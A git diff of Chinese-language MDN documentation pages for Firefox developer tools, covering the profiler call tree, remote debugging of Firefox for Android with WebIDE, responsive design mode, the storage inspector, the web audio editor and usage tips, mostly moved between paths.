When you first open a new sample, the sample pane contains a single row labeled "(total)", as in the screenshot above. If you click the arrow next to "(total)", you'll see a list of all the top-level functions which appear in a sample.

- -

- -

Running time shows the total number of samples in which this function appeared1, followed by the percentage of all samples in the profile in which this function appeared. The first row above shows that there were 2021 samples in the entire profile, and the second row shows that 1914, or 94.7%, of them were inside the detectImage() function.

- -

Self shows the number of samples in which the sample was taken while executing this function itself, and not a function it was calling. In the simple example above, doSomething() would have a Running time of 3 (samples A, B, and C), but a Self value of 1 (sample A).

- -

The third column gives the name of the function along with the filename and line number (for local functions) or basename and domain name (for remote functions). Functions in gray are built-in browser functions: functions in black represent JavaScript loaded by the page. If you hover the mouse over a row you'll see an arrow to the right of the function's identifier: click the arrow and you'll be taken to the function source.

- -

Expanding the call tree

- -

In a given row, if there are any samples taken while we were in a function called by this function (that is, if Running Time is greater than Self for a given row) then an arrow appears to the left of the function's name, enabling you to expand the call tree.

- -

In the simple example above, the fully-expanded call tree would look like this:

- - - - - - - - - - - - - - - - - - - -
Running TimeSelf 
3            100%1doSomething()
2              67%2logTheValue()
- -

To take a more realistic example: in the screenshot below, looking at the second row we can see that 1914 samples were taken inside the detectImage() function. But all of them were taken in functions called by detectImage() (the Self cell is zero). We can expand the call tree to find out which functions were actually running when most of the samples were taken:

- -

- -

This tells us that 6 samples were taken when we were actually executing detectAtScale(), 12 when we were executing getRect() and so on.

- -

Footnotes

- -
    -
  1. If the function is called multiple times from different sources, it will be represented multiple times in the Profiler output. So generic functions like forEach will appear multiple times in the call tree.
  2. -
- -

 

diff --git a/files/zh-cn/tools/remote_debugging/debugging_firefox_for_android_with_webide/index.html b/files/zh-cn/tools/remote_debugging/debugging_firefox_for_android_with_webide/index.html new file mode 100644 index 0000000000..13f27d0a4a --- /dev/null +++ b/files/zh-cn/tools/remote_debugging/debugging_firefox_for_android_with_webide/index.html @@ -0,0 +1,38 @@ +--- +title: Debugging Firefox for Android with WebIDE +slug: Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE_clone +--- +
{{ToolsSidebar}}

This article describes how to connect the Firefox Developer Tools to Firefox for Android from Firefox 36 onwards.

+

It's been possible for a long time to connect the Firefox Developer Tools to Firefox for Android so you can debug your mobile website. Until now, though, this was a fairly complex and error-prone process. From Firefox 36 we've made the process much simpler: in particular, you don't need to deal directly with the adb tool at all. Now you connect using  WebIDE, which takes care of setting up adb behind the scenes.

+
+

For this to work, you need at least Firefox 36 on the desktop and Firefox 35 on the mobile device. If you need to use an earlier version, see the older instructions for connecting the developer tools to Firefox for Android.

+
+

 

+

+

This guide's split into two parts: the first part, "Prerequisites" covers stuff you only need to do once, while the second part, "Connecting", covers stuff you need to do each time you connect the device.

+

Prerequisites

+

First, you'll need:

+
    +
  • a desktop or laptop computer with Firefox 36 or higher running on it
  • +
  • an Android device capable of running Firefox for Android with Firefox for Android 35 or higher running on it
  • +
  • a USB cable to connect the two devices
  • +
+

ADB Helper

+

Your desktop Firefox also needs to have the ADB Helper add-on, version 0.7.1 or higher. This should be installed for you automatically the first time you open WebIDE. To check the version, type about:addons into the browser's address bar and you should see ADB listed.

+

If you don't have ADB Helper version 0.7.1 or higher, select "Manage Extra Components" from the "Projects" menu, and you'll see the "Extra Components" window, which will contain an entry for ADB Helper:

+

Click "uninstall" then "install", and you should now have the latest version.

+

Setting up the Android device

+

First, enable USB debugging by following steps 2 and 3 of this link only.

+

Next, enable remote debugging in Firefox for Android. Open the browser, open its menu, select "Settings", then "Developer tools" (on some Android devices you may need to select "More" to see the "Settings" option). Check the "Remote debugging" box:

+

+

The browser might display a notification reminding you to set up port forwarding, which you can ignore.

+

Connecting

+

Connect the Android device to the desktop with the USB cable, open WebIDE, and open the "Runtimes" menu. You will see Firefox for Android listed as a debugging target under "USB DEVICES":

+

+

Select it. On the Android device, you'll now see a warning message:

+

+

Click OK. Now click the "Open App" menu in WebIDE. You'll see a list of all the tabs open on the device:

+

+

Select a tab to attach the developer tools to it:

+

+

Now you should be able to use all the Firefox developer tools that support remote debugging. See the page on remote debugging for more details.

diff --git a/files/zh-cn/tools/remote_debugging/debugging_firefox_for_android_with_webide_clone/index.html b/files/zh-cn/tools/remote_debugging/debugging_firefox_for_android_with_webide_clone/index.html deleted file mode 100644 index 13f27d0a4a..0000000000 --- a/files/zh-cn/tools/remote_debugging/debugging_firefox_for_android_with_webide_clone/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Debugging Firefox for Android with WebIDE -slug: Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE_clone ---- -
{{ToolsSidebar}}

This article describes how to connect the Firefox Developer Tools to Firefox for Android from Firefox 36 onwards.

-

It's been possible for a long time to connect the Firefox Developer Tools to Firefox for Android so you can debug your mobile website. Until now, though, this was a fairly complex and error-prone process. From Firefox 36 we've made the process much simpler: in particular, you don't need to deal directly with the adb tool at all. Now you connect using  WebIDE, which takes care of setting up adb behind the scenes.

-
-

For this to work, you need at least Firefox 36 on the desktop and Firefox 35 on the mobile device. If you need to use an earlier version, see the older instructions for connecting the developer tools to Firefox for Android.

-
-

 

-

-

This guide's split into two parts: the first part, "Prerequisites" covers stuff you only need to do once, while the second part, "Connecting", covers stuff you need to do each time you connect the device.

-

Prerequisites

-

First, you'll need:

-
    -
  • a desktop or laptop computer with Firefox 36 or higher running on it
  • -
  • an Android device capable of running Firefox for Android with Firefox for Android 35 or higher running on it
  • -
  • a USB cable to connect the two devices
  • -
-

ADB Helper

-

Your desktop Firefox also needs to have the ADB Helper add-on, version 0.7.1 or higher. This should be installed for you automatically the first time you open WebIDE. To check the version, type about:addons into the browser's address bar and you should see ADB listed.

-

If you don't have ADB Helper version 0.7.1 or higher, select "Manage Extra Components" from the "Projects" menu, and you'll see the "Extra Components" window, which will contain an entry for ADB Helper:

-

Click "uninstall" then "install", and you should now have the latest version.

-

Setting up the Android device

-

First, enable USB debugging by following steps 2 and 3 of this link only.

-

Next, enable remote debugging in Firefox for Android. Open the browser, open its menu, select "Settings", then "Developer tools" (on some Android devices you may need to select "More" to see the "Settings" option). Check the "Remote debugging" box:

-

-

The browser might display a notification reminding you to set up port forwarding, which you can ignore.

-

Connecting

-

Connect the Android device to the desktop with the USB cable, open WebIDE, and open the "Runtimes" menu. You will see Firefox for Android listed as a debugging target under "USB DEVICES":

-

-

Select it. On the Android device, you'll now see a warning message:

-

-

Click OK. Now click the "Open App" menu in WebIDE. You'll see a list of all the tabs open on the device:

-

-

Select a tab to attach the developer tools to it:

-

-

Now you should be able to use all the Firefox developer tools that support remote debugging. See the page on remote debugging for more details.

diff --git a/files/zh-cn/tools/responsive_design_mode/index.html b/files/zh-cn/tools/responsive_design_mode/index.html new file mode 100644 index 0000000000..b0ea0712a4 --- /dev/null +++ b/files/zh-cn/tools/responsive_design_mode/index.html @@ -0,0 +1,83 @@ +--- +title: 响应式设计视图 +slug: Tools/Responsive_Design_View +translation_of: Tools/Responsive_Design_Mode +--- +
{{ToolsSidebar}}

响应式设计采用不同的屏幕尺寸来呈现在各种设备(例如移动电话或者平板电脑)下的可视情况。响应式设计视图使您可以很容易地看到您的网站或者网站app在不同屏幕尺寸下的外观。

+ +

{{EmbedYouTube("LBcE72sG2s8")}}

+ +

下面的截屏是在328*480分辨率下展示的一个维基百科移动版页面。

+ +

响应式设计视图使用非常方便,您可以快速和精确地改变展示区域的大小。

+ +

当然,您可以改变浏览器窗口本身的大小。但是如果把浏览器窗口变小,其他的浏览器内容也会相应变小,可能会使得浏览器界面变得不那么好用了。

+ +

当你打开响应式视图,你可以继续正常地进行浏览。While the Responsive Design View is enabled, you can continue browsing as you normally would in the resized content area.

+ +

打开和关闭

+ +

有两个方法打开响应式视图:

+ +
    +
  • 在火狐浏览器菜单(或者工具栏菜单-如果您选择了显示菜单,或者是您在使用Mac OS X)下的Web开发者子菜单下选择“响应式视图”;
  • +
  • 点击工具箱工具栏里的“响应式设计模式”按钮
  • +
+ +

有三个方法关闭响应式视图

+ +
    +
  • 再次选择菜单里的“响应式设计视图”
  • +
  • 按键盘上的Esc键
  • +
  • 点击左上角的“关闭”按钮
  • +
+ +

改变大小

+ +

有两个方法改变内容区域的大小:

+ + + +

如果您使用拖放的方式改变大小,可以按住Control键(Mac OS X下用Cmd键)来减缓改变的速度,可以更精确地控制大小。

+ +
+

响应式视图控件

+ +

在响应式视图窗口的顶部有五个控件:

+ + + + + + + + + + + + + + + + + + + + + + + + +
Close关闭响应式视图,回到正常浏览模式
Select size从预设的分辨率组合内选择,或者自定义分辨率
Portrait/Landscape选择屏幕的水平或者垂直模式
+

Simulate touch events

+
+

打开/关闭模拟触摸事件,鼠标事件将被模拟为触摸事件.

+
+

Take screenshot

+
内容区域的截屏,截屏内容保存到火狐的默认下载位置
+
+ +

 

diff --git a/files/zh-cn/tools/responsive_design_view/index.html b/files/zh-cn/tools/responsive_design_view/index.html deleted file mode 100644 index b0ea0712a4..0000000000 --- a/files/zh-cn/tools/responsive_design_view/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: 响应式设计视图 -slug: Tools/Responsive_Design_View -translation_of: Tools/Responsive_Design_Mode ---- -
{{ToolsSidebar}}

响应式设计采用不同的屏幕尺寸来呈现在各种设备(例如移动电话或者平板电脑)下的可视情况。响应式设计视图使您可以很容易地看到您的网站或者网站app在不同屏幕尺寸下的外观。

- -

{{EmbedYouTube("LBcE72sG2s8")}}

- -

下面的截屏是在328*480分辨率下展示的一个维基百科移动版页面。

- -

响应式设计视图使用非常方便,您可以快速和精确地改变展示区域的大小。

- -

当然,您可以改变浏览器窗口本身的大小。但是如果把浏览器窗口变小,其他的浏览器内容也会相应变小,可能会使得浏览器界面变得不那么好用了。

- -

当你打开响应式视图,你可以继续正常地进行浏览。While the Responsive Design View is enabled, you can continue browsing as you normally would in the resized content area.

- -

打开和关闭

- -

有两个方法打开响应式视图:

- -
    -
  • 在火狐浏览器菜单(或者工具栏菜单-如果您选择了显示菜单,或者是您在使用Mac OS X)下的Web开发者子菜单下选择“响应式视图”;
  • -
  • 点击工具箱工具栏里的“响应式设计模式”按钮
  • -
- -

有三个方法关闭响应式视图

- -
    -
  • 再次选择菜单里的“响应式设计视图”
  • -
  • 按键盘上的Esc键
  • -
  • 点击左上角的“关闭”按钮
  • -
- -

改变大小

- -

有两个方法改变内容区域的大小:

- - - -

如果您使用拖放的方式改变大小,可以按住Control键(Mac OS X下用Cmd键)来减缓改变的速度,可以更精确地控制大小。

- -
-

响应式视图控件

- -

在响应式视图窗口的顶部有五个控件:

- - - - - - - - - - - - - - - - - - - - - - - - -
Close关闭响应式视图,回到正常浏览模式
Select size从预设的分辨率组合内选择,或者自定义分辨率
Portrait/Landscape选择屏幕的水平或者垂直模式
-

Simulate touch events

-
-

打开/关闭模拟触摸事件,鼠标事件将被模拟为触摸事件.

-
-

Take screenshot

-
内容区域的截屏,截屏内容保存到火狐的默认下载位置
-
- -

 

diff --git a/files/zh-cn/tools/storage_inspector/index.html b/files/zh-cn/tools/storage_inspector/index.html new file mode 100644 index 0000000000..198d5d5b92 --- /dev/null +++ b/files/zh-cn/tools/storage_inspector/index.html @@ -0,0 +1,186 @@ +--- +title: 存储查看器 +slug: Tools/存储查看器 +translation_of: Tools/Storage_Inspector +--- +
{{ToolsSidebar}}
+ +

存储查看器使你能够查看网页使用的多种存储类型。如今,它能够查看如下存储类型:

+ +
    +
  • Cache缓存 — 使用缓存API创建的任何DOM缓存
  • +
  • Cookies — 所有页面创建的cookies或页面中任何的iframes。还列出了作为网络呼叫响应的一部分创建的Cookie,但仅适用于工具打开时发生的响应
  • +
  • IndexedDB — 所有页面创建的IndexedDB或或页面中任何的IndexedDB。其对象存储以及存储在这些对象库中的项目。
  • +
  • 本地存储— 所有页面创建的本地存储或页面中任何的iframes。
  • +
  • Session存储—所有页面创建的Session或页面中任何的iframes。
  • +
+ +

目前,Storage Inspector仅为您提供存储的只读视图。 但我们正努力让您在将来的版本中编辑存储内容。

+ +

打开存储查看器

+ +

你可以在火狐菜单面板(或工具菜单中显示菜单栏或在 Mac OS X 上)或在键盘上按Shift + F9的web开发者工具的子菜单上打开“存储查看器”

+ +

工具箱显示在浏览器窗口的底部,当打开存储查看器,在工具箱中会被称为“存储”

+ +

+ +

存储查看器用户接口

+ +

存储查看器UI被分为三个主要部分:

+ + + +

+ +

存储树

+ +

存储树列出了存储查看器能够查看的所有存储类型:

+ +

+ +

在每种类型下,对象都是按源组织。对于cache,协议不会区分源。对于IndexedDB或本地存储,源由协议与主机名组成。举个栗子,"http://mozilla.org" and "https://mozilla.org" 是两个不同的源,所有本地存储项不能在它们之间共享。

+ +

在“缓存存储”下,对象按域名和cache的名称进行组织:

+ +

+ +

IndexedDB对象按源组织,然后按数据库名称,最后按对象存储名称:

+ +

+ +

关于Cookies,本地存储和Session存储类型,层级结构它们只有一个级别, 因此存储项直接列在每个域名下

+ +

+ +

你可以点击树中的每个项去扩展或折叠它的子项.树是活动的,所有如果添加一个新的源(例如通过添加iframes),它将自动添加到每个存储类型中。

+ +

点击一个树项目将在右侧的表部件显示所选项的具体信息。例如点击Cookies存储类型下的源,将会显示所有属于该域名下的cookies信息。

+ +

表部件

+ +

表部件是列出与所选树项(不管是域名还是数据库)一致的所有项的位置。根据存储类型和树项的不同,表中的列数也会有所不同。

+ +

所有表部件的列都可以调整大小的,你可以通过表头的内容-点击去隐藏和显示列和选择你想看到的列。

+ +

+ +

搜索

+ +

在表部件的顶部有一个搜索框:

+ +

+ +

它将对表进行过滤,只显示与搜索项匹配的项。如果它们的任何字段(包括您隐藏的列的字段)包含搜索项。

+ +

从火狐50版本之后, 你可以使用Ctrl + F (Cmd + F on a Mac) 来显示搜索框.

+ +

添加和更新存储

+ +

在最新版本的火狐浏览器中,你还可以使用按钮去刷新当前查看到的存储类型视图,而且在适用情况下添加一个存储条目(你不能在IndexedDB或cache添加新的条目):

+ +

侧边栏

+ +

当你在存储表部件选择任何一行时,侧边栏就会显示所选行的详细信息。如果选中cookie,侧边栏将列出该cookie的所有详细信息

+ +

侧边栏能够解析cookie的值或本地存储项或IndexedDB项,并且将其转换成有意义的对象而不仅仅是字符串。举个栗子:

+ +
    +
  • 一个JSON字符串比如 '{"foo": "bar"}'会以JSON对象显示 {foo: "bar"}.
  • +
  • 一个包含键分隔符的字符串,例如 "1~2~3~4""1=2=3=4" 会显示成数组: [1, 2, 3, 4].
  • +
  • 一个包含键值对的字符串,比如"ID=1234:foo=bar" 会显示为JSON对象: {ID:1234, foo: "bar"}.
  • +
+ +

还可以使用工具箱侧边栏顶部的搜索框过滤显示的值

+ +

Cache 存储

+ +

在Cache存储类型下,你能够看到使用Cache API创建的任何DOM缓存的内容。如果你选择一个cache,你将看到该caches包含的资源列表。对应每个资源,你能看到如下信息:

+ +
    +
  • 资源的URL路径
  • +
  • 获取请求的状态码
  • +
+ +

+ +

Cookies

+ +

当你从存储树中选择Cookies存储类型的一个源时,会在表格小部件中列出该cookies的所有源。cookies表有以下列:

+ +
    +
  • Name— cookie的名称
  • +
  • Path —  cookie的路径属性
  • +
  • Domain — cookie的域
  • +
  • Expires on — cookie过期时间,如果cookie是session, 此列的值将为session
  • +
  • Last accessed on — 上次读取cookies的时间
  • +
  • Created on — cookie创建时间
  • +
  • Value — cookie的值
  • +
  • HostOnly — 这个cookie是不是一个域的cookie,如果是,域名以“.”为开头
  • +
  • Secure — cookie是不是安全的
  • +
  • HttpOnly — cookie是不是 HTTP only
  • +
  • 同一站点这个cookie是同一站点的cookie吗? 相同站点cookie允许服务器通过断言特定cookie应仅与同一可注册域发起的请求一起发送来减轻CSRF和信息泄漏攻击的风险。
  • +
+ +
+

提示: 有一些列不会默认显示 — 如果要改变部分列的显示,在已有的表格标题上单击鼠标右键/Ctrl-鼠标左键,而后使用生成的上下文菜单显示/隐藏列

+
+ +

您可以通过双击表格小组件中的单元格内部并编辑它们包含的值来编辑cookie,并通过单击“加号”(+)按钮添加新的cookie,然后将生成的新行编辑为所需的值。
+
+ 您还可以使用每行上下文菜单删除cookie:

+ +

本地存储/Session存储

+ +

当选择与本地存储或会话存储相对应的源时,该表将列出与本地存储或会话存储相对应的所有项的名称和值。

+ +

您可以通过双击Table Widget中的单元格内部并编辑它们包含的值来编辑本地和会话存储项:

+ +

{{EmbedYouTube("oeQzhpoMByw")}}

+ +

您还可以使用上下文菜单删除本地存储和会话存储条目:

+ +

+ +

最后,您可以通过单击“加号”(+)按钮添加新的存储项,然后将生成的新行编辑为所需的值。

+ +

IndexedDB

+ +

在存储树中的索引数据库存储类型中选择源时,该表列出了该源存在的所有数据库的详细信息。 数据库具有以下详细信息:

+ +
    +
  • Database Name — 数据库名称
  • +
  • Storage为数据库指定的存储类型(Firefox 53中的新增功能)
  • +
  • Origin — 数据库的源
  • +
  • Version数据库版本
  • +
  • Object Stores数据库中的对象存储数目
  • +
+ +

在存储树中选择IndexedDB数据库时,表中列出了有关所有对象存储的详细信息。 任何对象存储都具有以下详细信息:

+ +
    +
  • Object Store Name — 对象库的名称
  • +
  • Key — 对象库的keyPath属性.
  • +
  • Auto Increment — 是否启动自动增量
  • +
  • Indexes对象库中存在的索引数组,如下所示
  • +
+ +

+ +

在存储树中选择对象库时,该对象库中的所有项都列在表中。 所有项目都有一个键和一个与之关联的值。

+ +

从Firefox 49开始,您可以使用存储树视图中的上下文菜单删除IndexedDB数据库:

+ +

+ +

如果无法删除数据库(最常见的原因是仍存在与数据库的活动连接),则存储查看器中将显示一条警告消息:

+ +

从Firefox 50开始,您可以使用表格小部件中的上下文菜单删除对象库或特定项目中的所有项目:

+ +

+ +

 

diff --git a/files/zh-cn/tools/tips/index.html b/files/zh-cn/tools/tips/index.html new file mode 100644 index 0000000000..c7a2cfc304 --- /dev/null +++ b/files/zh-cn/tools/tips/index.html @@ -0,0 +1,135 @@ +--- +title: 小技巧 +slug: Tools/小技巧 +tags: + - 开发工具 + - 网络开发 +translation_of: Tools/Tips +--- +
{{ToolsSidebar}}
+ +

常规

+ +

截图:

+ + + +

设置:

+ +
    +
  • 为开发者工具设置一个 主题 .
  • +
  • 改变按键绑定 为你所熟悉的其他编辑器,如 Vim, Emacs 或Sublime Text。
  • +
  • 激活或取消不同的工具 (还有更多的工具!)。
  • +
+ +

页面查看器

+ +

标签视图中:

+ + + +

选择元素时:

+ +
    +
  • 按住 Shift 并点击元素来选择节点并保持选择模式 (拾取模式不会取消).
  • +
  • 使用 / 键来选择它的父/子元素 (如果它们很难被选择).
  • +
+ +

规则视图中:

+ +
    +
  • 点击选择器后的查看按钮 ()来使所有匹配的元素高亮显示。
  • +
  • 点击element{} 规则后的查看按钮()来锁定当前元素的高亮显示。
  • +
  • 右击任意属性并选择 "Show MDN Docs" 来 在MDN 文档中查看这个属性
  • +
  • 点击被覆盖属性后的筛选按钮 ()来 查找其他覆盖它的属性
  • +
  • 右击属性的名称,值或者规则来复制该属性的名称,值,声明或者整个规则。
  • +
+ +

网页控制台

+ +

在所有面板:

+ +
    +
  • Esc 键打开 split console; 用以调试页面以及审查节点。
  • +
+ +

命令行:

+ +
    +
  • $0 指令代表当前选择的节点。
  • +
  • $() 是 {{domxref("document.querySelector()")}}的简写形式。
  • +
  • $$() 是{{domxref("document.querySelectorAll()")}}的简写形式。
  • +
  • copy() 复制所有属性作为文本。
  • +
  • 右击节点并点击 "在控制台中使用" 来把这个节点作为 tempN 变量在命令行中使用.
  • +
  • cd() 切换JavaScript执行域到该页面的一个不同的iframe子页面。
  • +
  • console.table() 将表格数据作为表格输出(此句翻译需要校对).
  • +
  • help() 打开Web控制台帮助页面
  • +
+ +

控制台输出:

+ + + +

调试

+ +
    +
  • 点击黑箱按钮 (Icon for black boxing a JavaScript source)来在调试中跳过JavaScript库。
  • +
  • 按下Ctrl+Alt+F 组合键来在所有脚本搜索。
  • +
  • 按下Ctrl+D 组合键来搜索函数的定义。
  • +
  • 按下 Ctrl+L 组合键跳转到具体的行。
  • +
+ +

样式编辑器

+ +
    +
  • 点击样式表前的黑箱按钮 (Icon for black boxing a JavaScript source) 来切换可见度。
  • +
  • 在 响应式设计模式下点击 @media 规则来切换模式。
  • +
  • 点击导入按钮 (Button to import a style sheet from the file system)来导出样式表或者点击创建按钮(Button to create a new style sheet)创建一个新的样式表。
  • +
  • 点击设置按钮并勾选 "显示原始来源" 来显示css预处理文件.
  • +
+ +

网络

+ + + +

存储

+ +
    +
  • 右击列表头打开下拉菜单来显示或隐藏列。
  • +
  • 右击任意条目,点击“删除名字”来删除该条目或点击“删除全部”来删除全部条目。
  • +
  • 选择一个条目并在侧边栏中查看解析的值。
  • +
+ +

开发者工具条

+ + diff --git a/files/zh-cn/tools/using_the_source_editor/index.html b/files/zh-cn/tools/using_the_source_editor/index.html deleted file mode 100644 index f1169710b4..0000000000 --- a/files/zh-cn/tools/using_the_source_editor/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: 使用源代码编辑器 -slug: Tools/Using_the_Source_Editor -translation_of: tools/Keyboard_shortcuts#Source_editor -translation_of_original: Tools/Using_the_Source_Editor ---- -
{{ToolsSidebar}}

源代码编辑器是一个编辑器组件,由源editor.jsm的Java Script代码模块的提供,这是共享的几个开发工具,包括暂存器和样式编辑器。它也可以被使用的Firefox扩展。本文说明如何使用编辑器来编辑文本。.

-

键盘命令

-

这些都是标准命令的快捷键;注意,某些附加产品,他们可能会有所不同。但火狐使用的总是这些。.

-
- 注:在Mac OS X,使用Command键来代替控制键.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
功能键盘
选择所有Ctrl-A
复制Ctrl-C
查找Ctrl-F
查找下一个Ctrl-G
跳转行Ctrl-L
重做Ctrl-Shift-Z
粘贴Ctrl-V
剪切Ctrl-X
恢复Ctrl-Z
行缩进(s)Tab
取消行缩进Shift-Tab
移动行(s) 上Alt-
- (Ctrl-Option- on Mac OS X)
移动行(s) 下Alt-
- (Ctrl-Option- on Mac OS X)
切换注释选择Ctrl-/ {{fx_minversion_inline("14.0")}}
Move to bracket openingCtrl-[ {{fx_minversion_inline("14.0")}}
Move to bracket closingCtlr-] {{fx_minversion_inline("14.0")}}
-

参阅

- diff --git a/files/zh-cn/tools/web_audio_editor/index.html b/files/zh-cn/tools/web_audio_editor/index.html new file mode 100644 index 0000000000..cc5c8bd4f7 --- /dev/null +++ b/files/zh-cn/tools/web_audio_editor/index.html @@ -0,0 +1,38 @@ +--- +title: Web 音频编辑器 +slug: Tools/Web音频编辑器 +tags: + - 工具 +translation_of: Tools/Web_Audio_Editor +--- +
{{ToolsSidebar}}
+

Web 音频编辑器在 Firefox 32 推出。

+
+

开发者通过 Web Audio API 可以创建 {{domxref ("AudioContext", "audio context")}}。在该上下文环境中,开发者可以构建多个 {{domxref ("AudioNode", "audio nodes")}},它们包括:

+
    +
  • 提供 音源 的节点,例如振荡器( an oscillator) 或者数据缓冲源(a data buffer source)
  • +
  • 提供进行 音频变换 的节点,例如延时和增益
  • +
  • 提供指定 音频流输出端,例如扬声器
  • +
+

每个节点可能没有也可能具有多个 可以配置它们的行为的 {{domxref ("AudioParam")}} 属性。例如,{{domxref ("GainNode")}} 这个节点拥有一个 gain 属性,而 {{domxref ("OscillatorNode")}} 节点则拥有 frequencydetune 两个属性。

+

开发者可以在图像中连接每个节点,而整个图像则定义了音频流的行为。

+

Web 音频编辑器检测创建于页面中的音频上下文环境,然后提供一个可视化的图像,从高可视化角度帮助您查看 Web 音频编辑器的操作,也使您能够确认每一个节点都以您的语预期连接在一起。然后您可以检测并编辑每一个图像中的节点 AudioParam 属性。部分不是 AudioParam 的属性也会显示出来,如 OscillatorNode 的 type 属性,您同样可以编辑这些属性。

+

这个工具仍然处于实验阶段。如果您发现了问题,欢迎您到 Bugzilla 提交这些问题。如果您希望反馈信息或者提供新特征的建议,请您到 ffdevtools.uservoice.com 或者 Twitter 提交这些信息。

+

打开 Web 音频编辑器

+

在 Firefox 32 的默认条件下 Web 音频编辑器并没启用,您可以打开 开发者工具 然后勾选"Web 音频"来启用 Web 音频编辑器。现在,在 开发者工具栏 那里会多出一个"Web音频“选项卡。点击这个选项卡,然后加载创建了音频上下文环境的页面。 这里有两个演示:

+
    +
  • Voice-change-O-Matic,它可以为麦克风声音应用不同的音频效果,同时提供一个可视化的图像预览结果
  • +
  • Violent Theremin,当您移动鼠标的时候,它可以改变正弦波的音调和音量
  • +
+

可视化图像

+

Web 音频编辑器现在可以显示一张加载完成后的音频上下文环境的图像。下图是 Violent Theremin 演示的图像:

+

你可以看到,它使用了三个节点:作为源输入的 {{domxref ("OscillatorNode")}} ,作为音量控制的 {{domxref ("GainNode")}},以及作为音源输出的 {{domxref ("GainNode")}} 。

+

与 AudioParams 连接

+
+

显示与 AudioParams 连接的功能在 Firefox 34 版本中推出。

+
+

我们使用了直线线条来显示节点与节点之间的连接。然而,如果你把一个节点连接到了另一个节点的 AudioParam,那么这两个节点之间的连接将显示为一条虚线,并且标记了 AudioParam 的属性名称:

+

检测与修改 AudioNodes

+

如果你点击了一个节点,这个节点将被高亮,然后在右手边你将看到一个节点查看器。这个节点检查器列出了当前节点的 AudioParam 各个属性的值。例如,下图显示的是  OscillatorNode 节点:

+

当用户的鼠标左右移动的时候,Violent Theremin 会随之修改 frequency 参数,您可以在节点查看器中查看到新的参数值。但是,这个参数值并非实时更新:您必须再次点击节点,才能看到更新后的值。

+

如果您在节点检查器中点击了某一个属性值,那么你就可以修改这个属性值:按下回车或者 Tab 键就可以使新的属性值立即生效。

diff --git "a/files/zh-cn/tools/web\351\237\263\351\242\221\347\274\226\350\276\221\345\231\250/index.html" "b/files/zh-cn/tools/web\351\237\263\351\242\221\347\274\226\350\276\221\345\231\250/index.html" deleted file mode 100644 index cc5c8bd4f7..0000000000 --- "a/files/zh-cn/tools/web\351\237\263\351\242\221\347\274\226\350\276\221\345\231\250/index.html" +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Web 音频编辑器 -slug: Tools/Web音频编辑器 -tags: - - 工具 -translation_of: Tools/Web_Audio_Editor ---- -
{{ToolsSidebar}}
-

Web 音频编辑器在 Firefox 32 推出。

-
-

开发者通过 Web Audio API 可以创建 {{domxref ("AudioContext", "audio context")}}。在该上下文环境中,开发者可以构建多个 {{domxref ("AudioNode", "audio nodes")}},它们包括:

-
    -
  • 提供 音源 的节点,例如振荡器( an oscillator) 或者数据缓冲源(a data buffer source)
  • -
  • 提供进行 音频变换 的节点,例如延时和增益
  • -
  • 提供指定 音频流输出端,例如扬声器
  • -
-

每个节点可能没有也可能具有多个 可以配置它们的行为的 {{domxref ("AudioParam")}} 属性。例如,{{domxref ("GainNode")}} 这个节点拥有一个 gain 属性,而 {{domxref ("OscillatorNode")}} 节点则拥有 frequencydetune 两个属性。

-

开发者可以在图像中连接每个节点,而整个图像则定义了音频流的行为。

-

Web 音频编辑器检测创建于页面中的音频上下文环境,然后提供一个可视化的图像,从高可视化角度帮助您查看 Web 音频编辑器的操作,也使您能够确认每一个节点都以您的语预期连接在一起。然后您可以检测并编辑每一个图像中的节点 AudioParam 属性。部分不是 AudioParam 的属性也会显示出来,如 OscillatorNode 的 type 属性,您同样可以编辑这些属性。

-

这个工具仍然处于实验阶段。如果您发现了问题,欢迎您到 Bugzilla 提交这些问题。如果您希望反馈信息或者提供新特征的建议,请您到 ffdevtools.uservoice.com 或者 Twitter 提交这些信息。

-

打开 Web 音频编辑器

-

在 Firefox 32 的默认条件下 Web 音频编辑器并没启用,您可以打开 开发者工具 然后勾选"Web 音频"来启用 Web 音频编辑器。现在,在 开发者工具栏 那里会多出一个"Web音频“选项卡。点击这个选项卡,然后加载创建了音频上下文环境的页面。 这里有两个演示:

-
    -
  • Voice-change-O-Matic,它可以为麦克风声音应用不同的音频效果,同时提供一个可视化的图像预览结果
  • -
  • Violent Theremin,当您移动鼠标的时候,它可以改变正弦波的音调和音量
  • -
-

可视化图像

-

Web 音频编辑器现在可以显示一张加载完成后的音频上下文环境的图像。下图是 Violent Theremin 演示的图像:

-

你可以看到,它使用了三个节点:作为源输入的 {{domxref ("OscillatorNode")}} ,作为音量控制的 {{domxref ("GainNode")}},以及作为音源输出的 {{domxref ("GainNode")}} 。

-

与 AudioParams 连接

-
-

显示与 AudioParams 连接的功能在 Firefox 34 版本中推出。

-
-

我们使用了直线线条来显示节点与节点之间的连接。然而,如果你把一个节点连接到了另一个节点的 AudioParam,那么这两个节点之间的连接将显示为一条虚线,并且标记了 AudioParam 的属性名称:

-

检测与修改 AudioNodes

-

如果你点击了一个节点,这个节点将被高亮,然后在右手边你将看到一个节点查看器。这个节点检查器列出了当前节点的 AudioParam 各个属性的值。例如,下图显示的是  OscillatorNode 节点:

-

当用户的鼠标左右移动的时候,Violent Theremin 会随之修改 frequency 参数,您可以在节点查看器中查看到新的参数值。但是,这个参数值并非实时更新:您必须再次点击节点,才能看到更新后的值。

-

如果您在节点检查器中点击了某一个属性值,那么你就可以修改这个属性值:按下回车或者 Tab 键就可以使新的属性值立即生效。

diff --git "a/files/zh-cn/tools/\344\270\215\346\216\250\350\215\220\347\232\204\345\267\245\345\205\267/index.html" "b/files/zh-cn/tools/\344\270\215\346\216\250\350\215\220\347\232\204\345\267\245\345\205\267/index.html" deleted file mode 100644 index f7bb80e5bf..0000000000 --- "a/files/zh-cn/tools/\344\270\215\346\216\250\350\215\220\347\232\204\345\267\245\345\205\267/index.html" +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: 不推荐的工具 -slug: Tools/不推荐的工具 -translation_of: Tools/Deprecated_tools ---- -

{{ToolsSidebar}}

- -

